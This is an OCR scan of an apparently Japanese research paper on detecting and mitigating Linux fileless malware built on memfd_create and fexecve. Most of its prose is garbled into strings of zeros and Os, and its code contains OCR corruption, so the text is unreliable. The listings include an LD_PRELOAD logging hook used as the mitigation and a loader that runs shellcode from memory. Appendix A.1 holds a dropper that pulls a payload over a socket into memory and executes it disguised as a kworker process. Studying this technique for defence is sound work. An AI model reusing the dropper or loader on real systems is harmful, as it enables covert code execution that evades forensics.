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Mitigaton of fileless-malware in Linux

Kouskr TANAKA!  TAIICHI SATTO?

Abstract: In a fileless malware, a dropper downloads the main part of malware called payload from network
and does not store it into the hard drive. It stores the payload directly into memory, activates and deletes it.
It is difficult to analyze the payload with existing digital forensics methods since the payload is temporarily
placed in the memory and finally deleted. In this paper, we investigate a new kind of fileless malware that
uses memfd_create systemcall and consider mitigation for it.
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Fig. 1 structure of generally malware
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Fig. 2 structure of fileless malware

000000 [1jOptrace000000O0OODOOODOO
0000o0000o0oooooooooooooooon
00000o000o0oooooooooooooooon
Optrace 000000000000 0OO0ODOOOOOO
oono

Linux O O Windows 0 0O O O PowerShell 0 0 0 O O
00o0oo00oooooDooooooooooooon
0o0o0ooo00oooooooooooooooooon
0000000000 0x00secl6) DO OODOOOOOOO
0000 LinuxODODOOO0OO0ODDOOOO0OODOOOOOO
00o0oo00oooooooooooooooooon
00oooooooooooooooog

3.2 LinuxOOOOOOO

0x00secorg[6] 00 D000 O0O0OO0OOODOOOO
0000000 memfd create 00000000 fexecve
oooooooog

memfdcreate 0 0000000000000 OOOO
0000oo000oooooooooooooooooon
000000 0Omemfdcreate() 00000000 Linux
3.17000ooUoo 20

fexeeve D00 execve 00000000 OODODOOO
O [8]0execve OO0 000D OO0OOOODOOOODODOOO
0000000000000 00000D000D00O00Ofexecve
ooooooooooooooooooooooooon

— 602 —



000o00o00o0O0o0obOO02000000000D0000
00O00000O00O0bOO0o0oo0ooooobooooog
0b0o0O0o0o0oOooooooo

memfdcreate 0000000000000 0O0OOO
ooad

#include <sys/memfd.h>
int memfd_create(const char *name, unsigned int
flags);
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int fexecve(int fd, char *const argv[], char =*
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#include<dlfcn.h>
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<errno.h>
#include<sys/syscall.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<arpa/inet.h>

int (xfexecve2)(int fd, char *const argv[], char
*const envpl[]);

int (*memfd_create2)(const char *name, unsigned
int flags);

__attribute__ ((constructor))

static void init_hook ()

{

fexecve2 = (int (%) (int, char *comnst *, char *
const *))dlsym(RTLD_NEXT, "fexecve");
memfd_create2 = (int (*)(const char *,

unsigned int))dlsym (RTLD_NEXT, "
memfd_create");

}

__attribute__((destructor))
static void fini_hook ()

{

}

— 603 —



int fexecve(int fd, char *const argv[], char =*
const envp[])

{
// 00000000
FILE *£p;
fp = fopen("/tmp/log-fexecve.log","a+");
pid_t pid;

pid = getpid();

char prg_name [64];

char prg_path[256];

readlink ("/proc/self/exe",prg_path,sizeof(
prg_path));

sprintf (prg_name, "%s", basename(prg_path));

// pid0 00000000

fprintf (fp, "%d : %s, %s\n", pid,
prg_name);

fclose (fp);

_func__,

// memfd0 00O O0O0O00O0O /tmpOd OO
char command [32];
sprintf (command, "/proc/%d/fd/%d", pid, f£d);
FILE *input_binary;
if ((input_binary = fopen(command, "rb")) ==
NULL){
exit (1);
}
char buf [10240];
fread(buf, 1, 10240, input_binary);

FILE *output_binary;
if (Coutput_binary = fopen("/tmp/output_binary",
"wb")) == NULL){
exit (1);
}
fwrite (buf, sizeof (char), 10240, output_binary
)

(int) fexecve2(fd, argv, envp);
return O;

¥
int memfd_create(const char #*name, unsigned int
flags)
{
FILE *fp;
fp = fopen("/tmp/log-fexecve.log","a+");
pid_t p_pid;
p_pid = getpid();
char prg_name [64];
char prg_path[256];
readlink ("/proc/self/exe", prg_path, sizeof (
prg_path));
sprintf (prg_name, "%s", basename(prg_path));
fprintf (fp, "%d : %s, %s\n", p_pid, __func__
prg_name);
fclose (fp);
return syscall(__NR_memfd_create, name, flags
)
¥
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#include <fcntl.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
extern char **xenviron;
int main(void){

int fd,malware;

malware = open("./shellcode.so",0_RDONLY);

char buf [10240];

read (malware ,buf ,10240);

fd = memfd_create("memfd_test",0);
write (fd,buf,sizeof (buf));

char *args[2]= {"[kworker/u!0]", NULL};
fexecve (fd,args ,environ);

return O;
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10852 : memfd_create, chrome

11083 : memfd_create, firefox

11753 : memfd_create, fileless-malware
11753 : fexecve, fileless-malware
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Fig. 3 Obtained log
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A.1 malware-code

#include <stdio.h>
#include <stdlib.h>

#include <sys/syscall.h>

#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define NR_memfd_create 319

#define MFD_CLOEXEC 1

static inline int memfd_create(const char *name,
unsigned int flags) {
return syscall(__NR_memfd_create, name, flags
)
}

extern char **xenviron;

int main (int argc, char **argv) {

int fd, s;

unsigned long addr = 0x0100007£11110002;

char *args [2]= {"[kworker/u!0l",
NULL};

char buf [1024];

// Connect

if ((s = socket (PF_INET, SOCK_STREAM,
IPPROTO_TCP)) < 0) exit (1);

if (connect (s, (struct sockaddr*)&addr, 16) <
0) exit (1);

if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0)
exit (1);

while (1) {
if ((read (s, buf, 1024) ) <= 0) break;
write (fd, buf, 1024);
}

close (s);
if (fexecve (fd, args, enviromn) < 0) exit (1);

return O;
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